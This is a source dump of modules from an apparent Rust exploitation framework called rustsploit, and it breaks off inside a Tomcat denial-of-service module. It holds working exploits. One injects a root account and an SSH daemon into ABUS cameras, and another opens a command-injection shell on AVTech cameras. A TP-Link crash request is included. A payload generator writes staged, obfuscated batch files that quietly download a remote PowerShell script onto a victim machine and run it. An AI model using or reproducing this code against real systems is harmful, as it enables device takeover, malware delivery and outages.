RLIMIT_NOFILE}; 4 | 5 | const TARGET_FILE_LIMIT: u64 = 65535; 6 | 7 | fn display_banner() { 8 | println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); 9 | println!("{}", "║ System Ulimit Configuration Utility ║".cyan()); 10 | println!("{}", "║ Raises file descriptor limits for brute forcing ║".cyan()); 11 | println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); 12 | println!(); 13 | } 14 | 15 | /// Module entry point for raising ulimit 16 | pub async fn run(target: &str) -> Result<()> { 17 | // Target parameter is part of standard module interface 18 | // For ulimit operations, target is informational only 19 | if !target.is_empty() { 20 | println!("{}", format!("[*] Target context: {}", target).dimmed()); 21 | } 22 | raise_ulimit().await 23 | } 24 | 25 | /// Get current resource limits 26 | fn get_current_limits() -> Result<(u64, u64)> { 27 | let mut rlim = rlimit { 28 | rlim_cur: 0, 29 | rlim_max: 0, 30 | }; 31 | 32 | let result = unsafe { getrlimit(RLIMIT_NOFILE, &mut rlim) }; 33 | if result != 0 { 34 | return Err(anyhow!("Failed to get current limits: {}", std::io::Error::last_os_error())); 35 | } 36 | 37 | Ok((rlim.rlim_cur, rlim.rlim_max)) 38 | } 39 | 40 | /// Set resource limits directly in the current process 41 | fn set_file_limit(soft: u64, hard: u64) -> Result<()> { 42 | let rlim = rlimit { 43 | rlim_cur: soft, 44 | rlim_max: hard, 45 | }; 46 | 47 | let result = unsafe { setrlimit(RLIMIT_NOFILE, &rlim) }; 48 | if result != 0 { 49 | return Err(anyhow!("Failed to set limits: {}", std::io::Error::last_os_error())); 50 | } 51 | 52 | Ok(()) 53 | } 54 | 55 | /// Raise ulimit to 65535 using setrlimit syscall (actually works for current process) 56 | async fn raise_ulimit() -> Result<()> { 57 | display_banner(); 58 | 59 | // Get current limits 60 | let (current_soft, current_hard) = match get_current_limits() { 61 | Ok(limits) => limits, 62 | Err(e) => { 63 | println!("{}", format!("[-] Failed to get current limits: {}", e).red()); 64 | (0, 0) 65 | } 66 | }; 67 | 68 | println!("{}", format!("[*] Current limits - Soft: {}, Hard: {}", current_soft, current_hard).cyan()); 69 | 70 | if current_soft >= TARGET_FILE_LIMIT { 71 | println!("{}", format!("[+] Open file limit already at {} or higher.", current_soft).green().bold()); 72 | return Ok(()); 73 | } 74 | 75 | println!("{}", format!("[*] Attempting to raise open file limit to {}", TARGET_FILE_LIMIT).cyan()); 76 | 77 | // Determine the target limits 78 | let target_hard = if current_hard >= TARGET_FILE_LIMIT { 79 | current_hard 80 | } else { 81 | TARGET_FILE_LIMIT 82 | }; 83 | 84 | let target_soft = TARGET_FILE_LIMIT.min(target_hard); 85 | 86 | // Try to set the limit using setrlimit syscall (works for current process) 87 | match set_file_limit(target_soft, target_hard) { 88 | Ok(()) => { 89 | println!("{}", format!("[+] Successfully set file limit to {}", target_soft).green().bold()); 90 | } 91 | Err(e) => { 92 | // If we can't raise hard limit, try just raising soft to current hard 93 | println!("{}", format!("[-] Could not set to {}: {}", TARGET_FILE_LIMIT, e).yellow()); 94 | 95 | if current_hard > current_soft { 96 | println!("{}", format!("[*] Trying to raise soft limit to hard limit ({})...", current_hard).cyan()); 97 | match set_file_limit(current_hard, current_hard) { 98 | Ok(()) => { 99 | println!("{}", format!("[+] Raised soft limit to {}", current_hard).green()); 100 | } 101 | Err(e2) => { 102 | println!("{}", format!("[-] Could not raise soft limit: {}", e2).red()); 103 | println!("{}", "[!] Try running as root or adjust /etc/security/limits.conf".yellow()); 104 | } 105 | } 106 | } else { 107 | println!("{}", "[!] Hard limit is the same as soft limit.".yellow()); 108 | println!("{}", "[!] To increase further, run as root or edit /etc/security/limits.conf".yellow()); 109 | } 110 | } 111 | } 112 | 113 | // Verify the new limits 114 | match get_current_limits() { 115 | Ok((new_soft, new_hard)) => { 116 | println!("{}", format!("[*] New limits - Soft: {}, Hard: {}", new_soft, new_hard).cyan()); 117 | if new_soft >= TARGET_FILE_LIMIT { 118 | println!("{}", "[+] File descriptor limit successfully raised!".green().bold()); 119 | } else if new_soft > current_soft { 120 | println!("{}", format!("[+] Limit raised from {} to {}", current_soft, new_soft).green()); 121 | } else { 122 | println!("{}", "[-] Limit unchanged.".yellow()); 123 | } 124 | } 125 | Err(e) => { 126 | println!("{}", format!("[-] Could not verify new limits: {}", e).yellow()); 127 | } 128 | } 129 | 130 | // Also show shell instructions for reference 131 | println!(); 132 | println!("{}", "=== Shell Instructions ===".bold()); 133 | println!("{}", "To raise limits in your shell before running rustsploit:".dimmed()); 134 | println!("{}", " ulimit -n 65535".white()); 135 | println!("{}", "Or to make permanent, add to /etc/security/limits.conf:".dimmed()); 136 | println!("{}", " * soft nofile 65535".white()); 137 | println!("{}", " * hard nofile 65535".white()); 138 | 139 | Ok(()) 140 | } 141 | -------------------------------------------------------------------------------- /src/modules/exploits/abus/abussecurity_camera_cve202326609variant2.rs: -------------------------------------------------------------------------------- 1 | // Exploit Title: ABUS Security Camera TVIP 20000-21150 - SSH Root Persistence 2 | // CVE: CVE-2023-26609 3 | // Variant 2 - Dropbear SSH Persistence with custom username 4 | 5 | use anyhow::{Result, Context}; 6 | use colored::*; 7 | use crate::utils::normalize_target; 8 | use md5; 9 | use reqwest::Client; 10 | use std::time::Duration; 11 | use tokio::io::{AsyncBufReadExt, AsyncWriteExt}; 12 | 13 | const DEFAULT_TIMEOUT_SECS: u64 = 10; 14 | 15 | // Use framework's normalize_target utility - removed custom implementation 16 | 17 | /// Send a command using the vulnerable RCE endpoint 18 | async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> { 19 | let normalized = normalize_target(target)?; 20 | let url = format!( 21 | "http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=inject;{}", 22 | normalized, cmd 23 | ); 24 | println!("{}", format!("[*] Sending RCE payload: {}", cmd).cyan()); 25 | 26 | let resp = client.get(&url).send().await?; 27 | let status = resp.status(); 28 | let body = resp.text().await?; 29 | 30 | if status.is_success() { 31 | println!("{}", format!("[+] Status: {}", status).green()); 32 | println!("{}", "[+] Response:".green()); 33 | println!("{}", body); 34 | } else { 35 | println!("{}", format!("[-] Status: {}", status).red()); 36 | println!("{}", format!("[-] Response:\n{}", body).red()); 37 | } 38 | 39 | Ok(()) 40 | } 41 | 42 | /// Generate Dropbear SSH keys on the target system 43 | async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> { 44 | let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key"; 45 | println!("{}", "[*] Stage 1: Generating Dropbear SSH key...".yellow()); 46 | exploit_rce(client, target, cmd).await 47 | } 48 | 49 | /// Inject a root user with a hashed password into /etc/passwd 50 | async fn inject_root_user(client: &Client, target: &str, user: &str, hash: &str) -> Result<()> { 51 | let payload = format!( 52 | "echo%20{}:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd", 53 | user, hash 54 | ); 55 | println!("{}", format!("[*] Stage 2: Injecting user '{}' with root privileges...", user).yellow()); 56 | exploit_rce(client, target, &payload).await 57 | } 58 | 59 | /// Start Dropbear SSH daemon 60 | async fn start_dropbear(client: &Client, target: &str) -> Result<()> { 61 | let cmd = "/etc/dropbear/dropbear%20-E%20-F"; 62 | println!("{}", "[*] Stage 3: Starting Dropbear SSH daemon...".yellow()); 63 | exploit_rce(client, target, cmd).await 64 | } 65 | 66 | /// Generate an MD5 hash of the given password 67 | fn generate_md5_hash(password: &str) -> String { 68 | let digest = md5::compute(password.as_bytes()); 69 | format!("{:x}", digest) 70 | } 71 | 72 | /// Display module banner 73 | fn display_banner() { 74 | println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); 75 | println!("{}", "║ ABUS Security Camera TVIP 20000-21150 Exploit ║".cyan()); 76 | println!("{}", "║ CVE-2023-26609 - Dropbear SSH Persistence ║".cyan()); 77 | println!("{}", "║ Variant 2 - Custom Username SSH Root Access ║".cyan()); 78 | println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); 79 | } 80 | 81 | /// Main interactive flow: get user/pass, hash it, and inject persistence 82 | async fn execute_flow(target: &str) -> Result<()> { 83 | let client = Client::builder() 84 | .danger_accept_invalid_certs(true) 85 | .timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS)) 86 | .build()?; 87 | 88 | display_banner(); 89 | println!("{}", format!("[*] Target: {}", target).yellow()); 90 | println!(); 91 | 92 | print!("{}", "Enter username to inject: ".cyan().bold()); 93 | tokio::io::stdout() 94 | .flush() 95 | .await 96 | .context("Failed to flush stdout")?; 97 | let mut user = String::new(); 98 | tokio::io::BufReader::new(tokio::io::stdin()) 99 | .read_line(&mut user) 100 | .await 101 | .context("Failed to read username")?; 102 | let user = user.trim(); 103 | 104 | if user.is_empty() { 105 | println!("{}", "[-] Username cannot be empty".red()); 106 | return Err(anyhow::anyhow!("Username cannot be empty")); 107 | } 108 | 109 | print!("{}", "Enter password (will be hashed): ".cyan().bold()); 110 | tokio::io::stdout() 111 | .flush() 112 | .await 113 | .context("Failed to flush stdout")?; 114 | let mut pass = String::new(); 115 | tokio::io::BufReader::new(tokio::io::stdin()) 116 | .read_line(&mut pass) 117 | .await 118 | .context("Failed to read password")?; 119 | let pass = pass.trim(); 120 | 121 | if pass.is_empty() { 122 | println!("{}", "[-] Password cannot be empty".red()); 123 | return Err(anyhow::anyhow!("Password cannot be empty")); 124 | } 125 | 126 | // Hash it! 127 | let hash = generate_md5_hash(pass); 128 | println!("{}", format!("[*] Generated MD5 hash: {}", hash).cyan()); 129 | println!(); 130 | 131 | // Run each step 132 | generate_ssh_key(&client, target).await?; 133 | inject_root_user(&client, target, user, &hash).await?; 134 | start_dropbear(&client, target).await?; 135 | 136 | println!(); 137 | println!("{}", "[+] Persistence complete! You can now SSH in with:".green().bold()); 138 | println!( 139 | "{}", 140 | format!( 141 | " sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\\n -oHostKeyAlgorithms=+ssh-rsa {}@{}", 142 | pass, user, target 143 | ).cyan() 144 | ); 145 | Ok(()) 146 | } 147 | 148 | /// Dispatcher entry-point for the auto-dispatch framework 149 | pub async fn run(target: &str) -> Result<()> { 150 | execute_flow(target).await 151 | } 152 | -------------------------------------------------------------------------------- /src/modules/exploits/avtech/cve_2024_7029_avtech_camera.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{Result, Context}; 2 | use colored::*; 3 | use reqwest::Client; 4 | use std::path::Path; 5 | use std::time::Duration; 6 | use tokio::io::{AsyncBufReadExt, AsyncWriteExt}; 7 | 8 | const DEFAULT_PORT: &str = "80"; 9 | const DEFAULT_TIMEOUT_SECS: u64 = 10; 10 | 11 | /// Display module banner 12 | fn display_banner() { 13 | println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); 14 | println!("{}", "║ AVTech Camera CVE-2024-7029 RCE Exploit ║".cyan()); 15 | println!("{}", "║ Command Injection via brightness parameter ║".cyan()); 16 | println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); 17 | } 18 | 19 | /// // Ensures the target string has a scheme (http://) and includes port 20 | fn normalize_url(ip: &str, port: &str) -> String { 21 | let with_scheme = if ip.starts_with("http://") || ip.starts_with("https://") { 22 | ip.to_string() 23 | } else { 24 | format!("http://{}", ip) 25 | }; 26 | 27 | let port = port.trim(); 28 | if port.is_empty() { 29 | with_scheme 30 | } else if with_scheme.contains(':') { 31 | with_scheme // already has port 32 | } else { 33 | format!("{}:{}", with_scheme, port) 34 | } 35 | } 36 | 37 | /// Check if the device is vulnerable to CVE-2024-7029 38 | async fn check_vuln(client: &Client, base: &str) -> Result { 39 | println!("{}", "[*] Checking vulnerability...".cyan()); 40 | let mut url = reqwest::Url::parse(base)?; 41 | url.set_path("/cgi-bin/supervisor/Factory.cgi"); 42 | url.query_pairs_mut() 43 | .append_pair("action", "Set") 44 | .append_pair("brightness", "1;echo_CVE7029;"); 45 | let resp = client.get(url).send().await?; 46 | let body = resp.text().await?; 47 | Ok(body.contains("echo_CVE7029")) 48 | } 49 | 50 | /// Interactive shell to send arbitrary commands 51 | async fn interactive_shell(client: &Client, base: &str) -> Result<()> { 52 | let stdin = tokio::io::stdin(); 53 | let mut lines = tokio::io::BufReader::new(stdin).lines(); 54 | 55 | println!("{}", "[+] Interactive shell started. Type 'exit' to quit.".green().bold()); 56 | loop { 57 | print!("{}", "cve7029-shell> ".cyan().bold()); 58 | tokio::io::stdout() 59 | .flush() 60 | .await 61 | .context("Failed to flush stdout")?; 62 | if let Some(cmd) = lines.next_line().await? { 63 | let cmd = cmd.trim(); 64 | if cmd.eq_ignore_ascii_case("exit") { 65 | println!("{}", "[*] Exiting shell...".yellow()); 66 | break; 67 | } 68 | if cmd.is_empty() { 69 | continue; 70 | } 71 | match exec_cmd(client, base, cmd).await { 72 | Ok(out) => println!("{}", out), 73 | Err(e) => println!("{}", format!("[-] Error: {}", e).red()), 74 | } 75 | } else { 76 | break; 77 | } 78 | } 79 | Ok(()) 80 | } 81 | 82 | /// // Execute a remote command by abusing the brightness parameter 83 | async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result { 84 | use crate::utils::escape_shell_command; 85 | 86 | let mut url = reqwest::Url::parse(base)?; 87 | url.set_path("/cgi-bin/supervisor/Factory.cgi"); 88 | // Escape command to prevent injection of additional shell commands 89 | let escaped_cmd = escape_shell_command(cmd); 90 | let payload = format!("1;{};", escaped_cmd); 91 | url.query_pairs_mut() 92 | .append_pair("action", "Set") 93 | .append_pair("brightness", &payload); 94 | let response = client.get(url).send().await?; 95 | Ok(response.text().await?) 96 | } 97 | 98 | /// Prompt user for a custom port number 99 | async fn prompt_port() -> Result { 100 | print!("{}", format!("Enter port to use [default: {}]: ", DEFAULT_PORT).cyan().bold()); 101 | tokio::io::stdout() 102 | .flush() 103 | .await 104 | .context("Failed to flush stdout")?; 105 | let mut port = String::new(); 106 | tokio::io::BufReader::new(tokio::io::stdin()) 107 | .read_line(&mut port) 108 | .await 109 | .context("Failed to read port")?; 110 | let port = port.trim(); 111 | Ok(if port.is_empty() { DEFAULT_PORT.to_string() } else { port.to_string() }) 112 | } 113 | 114 | /// Entry point required for RouterSploit-inspired dispatch system 115 | pub async fn run(target: &str) -> Result<()> { 116 | display_banner(); 117 | println!("{}", format!("[*] Target: {}", target).yellow()); 118 | println!(); 119 | 120 | let port = prompt_port().await?; 121 | let client = Client::builder() 122 | .danger_accept_invalid_certs(true) 123 | .timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS)) 124 | .build()?; 125 | 126 | // Handle either single IP or file of targets 127 | let targets = if Path::new(target).exists() { 128 | println!("{}", format!("[*] Loading targets from file: {}", target).cyan()); 129 | tokio::fs::read_to_string(target) 130 | .await? 131 | .lines() 132 | .map(str::to_string) 133 | .filter(|s| !s.trim().is_empty()) 134 | .collect::>() 135 | } else { 136 | vec![target.to_string()] 137 | }; 138 | 139 | println!("{}", format!("[*] Testing {} target(s)...", targets.len()).cyan()); 140 | println!(); 141 | 142 | for raw_ip in &targets { 143 | let url = normalize_url(raw_ip, &port); 144 | println!("{}", format!("[*] Testing: {}", url).yellow()); 145 | 146 | if check_vuln(&client, &url).await? { 147 | println!("{}", format!("[+] {} is VULNERABLE!", url).green().bold()); 148 | interactive_shell(&client, &url).await?; 149 | } else { 150 | println!("{}", format!("[-] {} is not vulnerable", url).red()); 151 | } 152 | println!(); 153 | } 154 | 155 | println!("{}", "[*] Scan complete.".cyan()); 156 | Ok(()) 157 | } 158 | -------------------------------------------------------------------------------- /src/modules/exploits/payloadgens/batgen.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{Result, Context}; 2 | use colored::*; 3 | use crate::utils::{validate_file_path, validate_url}; 4 | use rand::{seq::SliceRandom, rng}; 5 | use std::{ 6 | fs, 7 | path::Path, 8 | }; 9 | 10 | use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _}; 11 | use tokio::io::{AsyncBufReadExt, AsyncWriteExt}; 12 | 13 | async fn prompt(prompt: &str) -> Result { 14 | print!("{}", prompt.cyan().bold()); 15 | tokio::io::stdout() 16 | .flush() 17 | .await 18 | .context("Failed to flush stdout")?; 19 | let mut buffer = String::new(); 20 | tokio::io::BufReader::new(tokio::io::stdin()) 21 | .read_line(&mut buffer) 22 | .await 23 | .context("Failed to read input")?; 24 | Ok(buffer.trim().to_string()) 25 | } 26 | 27 | fn base64_split_encode(url: &str) -> (String, String) { 28 | let mid = url.len() / 2; 29 | let (first, second) = url.split_at(mid); 30 | let first_encoded = BASE64_STANDARD.encode(first); 31 | let second_encoded = BASE64_STANDARD.encode(second); 32 | (first_encoded, second_encoded) 33 | } 34 | 35 | fn write_payload_chain(stage1_path: &str, url: &str, output_ps1: &str) -> Result<()> { 36 | let mut symbols = vec![ 37 | "测试", "測試", "例え", "例子", "示例", "示意", "探索", "神秘", 38 | "✂", "✈", "☎", "☂", "☯", "✉", "✏", "✒", "✇", "✈✂", "📌", "🎴", "項目", "数据", "样本", "分析", 39 | ]; 40 | let mut rng = rng(); 41 | symbols.shuffle(&mut rng); 42 | 43 | let s2 = symbols[0].to_string(); 44 | let s3 = symbols[1].to_string(); 45 | let s4 = symbols[2].to_string(); 46 | let _f1 = symbols[3].to_string(); 47 | let _f2 = symbols[4].to_string(); 48 | let _f3 = symbols[5].to_string(); 49 | 50 | let base = Path::new(stage1_path).parent().unwrap_or_else(|| Path::new(".")); 51 | let _stage1 = Path::new(stage1_path); 52 | let _stage2 = base.join(format!("{s2}.bat")); 53 | let _stage3 = base.join(format!("{s3}.bat")); 54 | let _stage4 = base.join(format!("{s4}.bat")); 55 | 56 | // Encode URL 57 | let (part1_b64, part2_b64) = base64_split_encode(url); 58 | 59 | // === Stage 1: writes stage2.bat === 60 | let stage1_contents = format!( 61 | r#"@echo off 62 | setlocal EnableDelayedExpansion 63 | cls >nul 64 | :: Sleep random 1-4 seconds 65 | set /a RND=1+%RANDOM%%%4 66 | timeout /t %RND% /nobreak >nul 67 | 68 | :: Five explicit 1-second sleeps at stage 1 69 | timeout /t 1 /nobreak >nul 70 | timeout /t 1 /nobreak >nul 71 | timeout /t 1 /nobreak >nul 72 | timeout /t 1 /nobreak >nul 73 | timeout /t 1 /nobreak >nul 74 | 75 | echo Creating next stage... 76 | ( 77 | echo @echo off 78 | echo setlocal EnableDelayedExpansion 79 | echo cls ^>nul 80 | echo set /a RND=1+%%RANDOM%%%%4 81 | echo timeout /t %%RND%% /nobreak ^>nul 82 | 83 | :: Five explicit 1-second sleeps for stage 2 84 | echo timeout /t 1 /nobreak ^>nul 85 | echo timeout /t 1 /nobreak ^>nul 86 | echo timeout /t 1 /nobreak ^>nul 87 | echo timeout /t 1 /nobreak ^>nul 88 | echo timeout /t 1 /nobreak ^>nul 89 | 90 | echo echo Creating next stage... 91 | echo ( 92 | echo @echo off 93 | echo setlocal EnableDelayedExpansion 94 | echo cls ^>nul 95 | echo set /a RND=1+%%RANDOM%%%%4 96 | echo timeout /t %%RND%% /nobreak ^>nul 97 | 98 | :: Five explicit 1-second sleeps for stage 3 99 | echo timeout /t 1 /nobreak ^>nul 100 | echo timeout /t 1 /nobreak ^>nul 101 | echo timeout /t 1 /nobreak ^>nul 102 | echo timeout /t 1 /nobreak ^>nul 103 | echo timeout /t 1 /nobreak ^>nul 104 | 105 | echo echo Creating final stage... 106 | echo ( 107 | echo @echo off 108 | echo setlocal EnableDelayedExpansion 109 | echo cls ^>nul 110 | echo set /a RND=1+%%RANDOM%%%%4 111 | echo timeout /t %%RND%% /nobreak ^>nul 112 | echo set part1={part1_b64} 113 | echo set part2={part2_b64} 114 | echo powershell -WindowStyle Hidden -Command ^^" 115 | echo $p1 = $env:part1; 116 | echo $p2 = $env:part2; 117 | echo $u = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p1)) + [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p2)); 118 | echo Invoke-WebRequest -Uri $u -OutFile '{output_ps1}'; 119 | echo Start-Process -WindowStyle Hidden powershell -ArgumentList '-ExecutionPolicy Bypass -File {output_ps1}'; 120 | echo ^^" 121 | echo exit 122 | echo ) > "{s4}" 123 | echo timeout /t 600 /nobreak ^>nul :: Wait 10 minutes before stage 4 124 | echo start "" /B "{s4}" :: Launch stage 4 in background 125 | echo exit 126 | echo ) > "{s3}" 127 | echo start "" /B "{s3}" :: Launch stage 3 in background 128 | echo exit 129 | ) > "{s2}" 130 | 131 | start "" /B "{s2}" :: Launch stage 2 in background 132 | exit 133 | "#); 134 | 135 | fs::write(_stage1, stage1_contents)?; 136 | 137 | Ok(()) 138 | } 139 | 140 | pub async fn run(target: &str) -> Result<()> { 141 | println!("{}", format!("[*] Target context: {}", if target.is_empty() { "local" } else { target }).dimmed()); 142 | let stage1_name = prompt("[+] Output BAT filename (stage 1): ").await?; 143 | let github_url = prompt("[+] GitHub raw URL of PowerShell script: ").await?; 144 | let ps1_output = prompt("[+] Name to save .ps1 as on victim: ").await?; 145 | 146 | // Validate inputs 147 | let validated_stage1 = validate_file_path(&stage1_name, true) 148 | .map_err(|e| anyhow::anyhow!("Invalid BAT filename: {}", e))?; 149 | let validated_url = validate_url(&github_url, Some(&["http", "https"])) 150 | .map_err(|e| anyhow::anyhow!("Invalid GitHub URL: {}", e))?; 151 | let validated_ps1 = validate_file_path(&ps1_output, false) 152 | .map_err(|e| anyhow::anyhow!("Invalid .ps1 filename: {}", e))?; 153 | 154 | write_payload_chain(&validated_stage1, &validated_url, &validated_ps1)?; 155 | println!("[+] Stage 1 payload written to {stage1_name}"); 156 | println!("[*] Chain will execute real .bat files one after the other with random jitter."); 157 | Ok(()) 158 | } 159 | -------------------------------------------------------------------------------- /src/modules/exploits/tplink/tplink_wr740n_dos.rs: -------------------------------------------------------------------------------- 1 | // Exploit Title: TP-Link TL-WR740N - Buffer Overflow 'DOS' 2 | // Date: 8/12/2023 3 | // Exploit Author: Anish Feroz (ZEROXINN) 4 | // Vendor Homepage: http://www.tp-link.com 5 | // Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n 6 | // Tested on: TP-Link TL-WR740N 7 | 8 | // Description: 9 | // There exists a buffer overflow vulnerability in TP-Link TL-WR740 router 10 | // that can allow an attacker to crash the web server running on the router 11 | // by sending a crafted request. To bring back the http (webserver), 12 | // a user must physically reboot the router. 13 | 14 | use anyhow::{Result, Context}; 15 | use base64::{engine::general_purpose, Engine as _}; 16 | use colored::*; 17 | use reqwest::{header::HeaderMap, Client}; 18 | use tokio::net::TcpStream; 19 | use tokio::time::{timeout, Duration}; 20 | use tokio::io::{AsyncBufReadExt, AsyncWriteExt}; 21 | 22 | const DEFAULT_PORT: u16 = 8082; 23 | const DEFAULT_TIMEOUT_SECS: u64 = 10; 24 | 25 | /// Display module banner 26 | fn display_banner() { 27 | println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); 28 | println!("{}", "║ TP-Link TL-WR740N Buffer Overflow DoS Exploit ║".cyan()); 29 | println!("{}", "║ Crashes router web server via crafted ping request ║".cyan()); 30 | println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); 31 | } 32 | 33 | /// Normalize IP to handle IPv6 and multiple brackets 34 | fn normalize_ip(ip: &str) -> String { 35 | // Remove all surrounding brackets 36 | let mut ip = ip.trim_matches('[').trim_matches(']').to_string(); 37 | // Add brackets for IPv6 38 | if ip.contains(':') && !ip.starts_with('[') { 39 | ip = format!("[{}]", ip); 40 | } 41 | ip 42 | } 43 | 44 | /// Internal function to send crafted request to crash router 45 | async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<()> { 46 | // Normalize the IP for correct URL formatting 47 | let ip = normalize_ip(ip); 48 | 49 | // Create a crash pattern of exact 192 characters using "crash_crash_on_a_loop_" 50 | let crash_pattern = "crash_crash_on_a_loop_"; 51 | let repeated = crash_pattern.repeat(9); // 9*22 = 198 > 192 52 | let payload = &repeated[..192]; // truncate to exact length 53 | 54 | // Construct vulnerable URL 55 | let target_url = format!( 56 | "http://{ip}:{port}/userRpm/PingIframeRpm.htm?ping_addr={payload}&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20", 57 | ip = ip, 58 | port = port, 59 | payload = payload 60 | ); 61 | 62 | println!("{}", format!("[*] Sending exploit payload to {}:{}", ip, port).yellow()); 63 | 64 | // Build basic auth header 65 | let credentials = format!("{username}:{password}"); 66 | let encoded_credentials = general_purpose::STANDARD.encode(credentials.as_bytes()); 67 | 68 | // Prepare HTTP headers 69 | let mut headers = HeaderMap::new(); 70 | headers.insert("Host", format!("{ip}:{port}", ip = ip, port = port).parse()?); 71 | headers.insert("Authorization", format!("Basic {}", encoded_credentials).parse()?); 72 | headers.insert("Upgrade-Insecure-Requests", "1".parse()?); 73 | headers.insert("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36".parse()?); 74 | headers.insert("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9".parse()?); 75 | headers.insert("Referer", format!("http://{ip}:{port}/userRpm/DiagnosticRpm.htm", ip = ip, port = port).parse()?); 76 | headers.insert("Accept-Encoding", "gzip, deflate".parse()?); 77 | headers.insert("Accept-Language", "en-US,en;q=0.9".parse()?); 78 | headers.insert("Connection", "close".parse()?); 79 | 80 | let client = Client::builder() 81 | .default_headers(headers) 82 | .timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS)) 83 | .build()?; 84 | 85 | let response = client.get(&target_url).send().await?; 86 | 87 | if response.status().as_u16() == 200 { 88 | println!("{}", "[+] Exploit sent successfully (200 OK received)".green().bold()); 89 | let body = response.text().await.unwrap_or_default(); 90 | if !body.is_empty() { 91 | println!("{}", body); 92 | } 93 | } else { 94 | println!( 95 | "{}", 96 | format!("[-] Request completed with status code: {}", response.status()).yellow() 97 | ); 98 | } 99 | 100 | // Check if the host is still up — timeout after 1 second 101 | println!("{}", "[*] Checking if target is still reachable...".cyan()); 102 | match timeout(Duration::from_secs(1), TcpStream::connect((ip.trim_matches(&['[', ']'][..]), port))).await { 103 | Ok(Ok(_)) => { 104 | println!("{}", format!("[!] Target still responds on port {}. DoS may have failed.", port).yellow()); 105 | } 106 | _ => { 107 | println!("{}", format!("[+] Target no longer reachable on port {} — likely crashed!", port).green().bold()); 108 | } 109 | } 110 | 111 | Ok(()) 112 | } 113 | 114 | /// Entry point required by auto-dispatch 115 | pub async fn run(target: &str) -> Result<()> { 116 | display_banner(); 117 | println!("{}", format!("[*] Target: {}", target).yellow()); 118 | println!(); 119 | 120 | print!("{}", format!("Enter router port (default {}): ", DEFAULT_PORT).cyan().bold()); 121 | tokio::io::stdout() 122 | .flush() 123 | .await 124 | .context("Failed to flush stdout")?; 125 | let mut port_str = String::new(); 126 | tokio::io::BufReader::new(tokio::io::stdin()) 127 | .read_line(&mut port_str) 128 | .await 129 | .context("Failed to read port")?; 130 | let port: u16 = port_str.trim().parse().unwrap_or(DEFAULT_PORT); 131 | 132 | print!("{}", "Enter username: ".cyan().bold()); 133 | tokio::io::stdout() 134 | .flush() 135 | .await 136 | .context("Failed to flush stdout")?; 137 | let mut username = String::new(); 138 | tokio::io::BufReader::new(tokio::io::stdin()) 139 | .read_line(&mut username) 140 | .await 141 | .context("Failed to read username")?; 142 | let username = username.trim(); 143 | 144 | print!("{}", "Enter password: ".cyan().bold()); 145 | tokio::io::stdout() 146 | .flush() 147 | .await 148 | .context("Failed to flush stdout")?; 149 | let mut password = String::new(); 150 | tokio::io::BufReader::new(tokio::io::stdin()) 151 | .read_line(&mut password) 152 | .await 153 | .context("Failed to read password")?; 154 | let password = password.trim(); 155 | 156 | if username.is_empty() || password.is_empty() { 157 | println!("{}", "[-] Username and password are required".red()); 158 | return Err(anyhow::anyhow!("Username and password are required")); 159 | } 160 | 161 | execute(target, port, username, password).await 162 | } 163 | -------------------------------------------------------------------------------- /src/modules/exploits/apache_tomcat/catkiller_cve_2025_31650.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{anyhow, bail, Result}; 2 | use colored::*; 3 | use rand::Rng; 4 | use reqwest::{ClientBuilder}; 5 | use std::net::{TcpStream, ToSocketAddrs}; 6 | use std::time::Duration; 7 | use tokio::time::sleep; 8 | use rand::prelude::IndexedRandom; 9 | use tokio::io::{AsyncBufReadExt, AsyncWriteExt}; 10 | 11 | /// TomcatKiller - CVE-2025-31650 12 | /// Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers 13 | pub async fn run(target: &str) -> Result<()> { 14 | println!("{}", "===== TomcatKiller - CVE-2025-31650 =====".blue()); 15 | println!("Developed by: @absholi7ly"); 16 | println!("Exploits memory leak in Apache Tomcat (10.1.10-10.1.39) via invalid HTTP/2 priority headers."); 17 | println!("{}", "Warning: For authorized testing only. Ensure HTTP/2 and vulnerable Tomcat version.".yellow()); 18 | 19 | let port = prompt_for_port().await.unwrap_or(443); 20 | let normalized = if target.starts_with("http://") || target.starts_with("https://") { 21 | target.to_string() 22 | } else { 23 | format!("https://{}", target) 24 | }; 25 | 26 | let (host, _) = match validate_url(&normalized) { 27 | Ok(hp) => hp, 28 | Err(e) => { 29 | eprintln!("{}", format!("Invalid target URL: {e}").red()); 30 | return Err(e); 31 | } 32 | }; 33 | 34 | let clean_host = strip_ipv6_brackets(&host); 35 | let num_tasks = 300; 36 | let requests_per_task = 100000; 37 | 38 | match check_http2_support(&clean_host, port).await { 39 | Ok(true) => { 40 | println!("{}", format!("Starting attack on {}:{}...", clean_host, port).green()); 41 | println!("Tasks: {}, Requests per task: {}", 